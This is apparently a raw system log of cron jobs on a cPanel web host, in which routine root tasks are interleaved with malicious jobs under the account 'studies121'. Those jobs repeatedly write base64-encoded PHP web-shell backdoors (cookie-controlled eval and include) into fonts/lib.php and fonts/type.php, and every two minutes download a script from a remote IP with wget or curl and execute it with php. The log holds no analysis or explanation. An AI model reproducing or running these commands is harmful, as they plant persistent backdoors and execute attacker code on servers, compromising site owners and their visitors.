Sep 11 08:33:01 ip-184-168-122-23 CROND[32745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:33:01 ip-184-168-122-23 CROND[32746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:33:01 ip-184-168-122-23 CROND[32749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:33:01 ip-184-168-122-23 CROND[32747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:34:01 ip-184-168-122-23 CROND[399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:34:01 ip-184-168-122-23 CROND[402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:34:01 ip-184-168-122-23 CROND[403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:34:01 ip-184-168-122-23 CROND[404]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:34:01 ip-184-168-122-23 CROND[405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:35:01 ip-184-168-122-23 CROND[610]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 08:35:01 ip-184-168-122-23 CROND[617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:35:01 ip-184-168-122-23 CROND[619]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 08:35:01 ip-184-168-122-23 CROND[618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:35:01 ip-184-168-122-23 CROND[621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:35:01 ip-184-168-122-23 CROND[620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:35:01 ip-184-168-122-23 CROND[623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:35:01 ip-184-168-122-23 CROND[624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:36:01 ip-184-168-122-23 CROND[741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:36:01 ip-184-168-122-23 CROND[746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:36:01 ip-184-168-122-23 CROND[743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:36:01 ip-184-168-122-23 CROND[744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:36:01 ip-184-168-122-23 CROND[745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:37:01 ip-184-168-122-23 CROND[874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:37:01 ip-184-168-122-23 CROND[875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:37:01 ip-184-168-122-23 CROND[878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:37:01 ip-184-168-122-23 CROND[879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:38:01 ip-184-168-122-23 CROND[996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:38:01 ip-184-168-122-23 CROND[1001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:38:01 ip-184-168-122-23 CROND[1002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:38:01 ip-184-168-122-23 CROND[1003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:38:01 ip-184-168-122-23 CROND[1005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:39:01 ip-184-168-122-23 CROND[1095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:39:01 ip-184-168-122-23 CROND[1098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:39:01 ip-184-168-122-23 CROND[1099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:39:01 ip-184-168-122-23 CROND[1100]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 08:39:01 ip-184-168-122-23 CROND[1097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:40:01 ip-184-168-122-23 CROND[1216]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:40:01 ip-184-168-122-23 CROND[1219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:40:01 ip-184-168-122-23 CROND[1221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:40:01 ip-184-168-122-23 CROND[1222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:40:01 ip-184-168-122-23 CROND[1227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:40:01 ip-184-168-122-23 CROND[1223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:40:01 ip-184-168-122-23 CROND[1224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:40:01 ip-184-168-122-23 CROND[1226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:41:01 ip-184-168-122-23 CROND[1471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:41:01 ip-184-168-122-23 CROND[1474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:41:01 ip-184-168-122-23 CROND[1476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:41:01 ip-184-168-122-23 CROND[1475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:42:01 ip-184-168-122-23 CROND[1578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:42:01 ip-184-168-122-23 CROND[1579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:42:01 ip-184-168-122-23 CROND[1580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:42:01 ip-184-168-122-23 CROND[1582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:42:01 ip-184-168-122-23 CROND[1585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:43:01 ip-184-168-122-23 CROND[1692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:43:01 ip-184-168-122-23 CROND[1693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:43:01 ip-184-168-122-23 CROND[1694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:43:01 ip-184-168-122-23 CROND[1696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:44:01 ip-184-168-122-23 CROND[1793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:44:01 ip-184-168-122-23 CROND[1795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:44:01 ip-184-168-122-23 CROND[1796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:44:01 ip-184-168-122-23 CROND[1797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:44:01 ip-184-168-122-23 CROND[1798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:45:01 ip-184-168-122-23 CROND[1932]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 11 08:45:01 ip-184-168-122-23 CROND[1934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
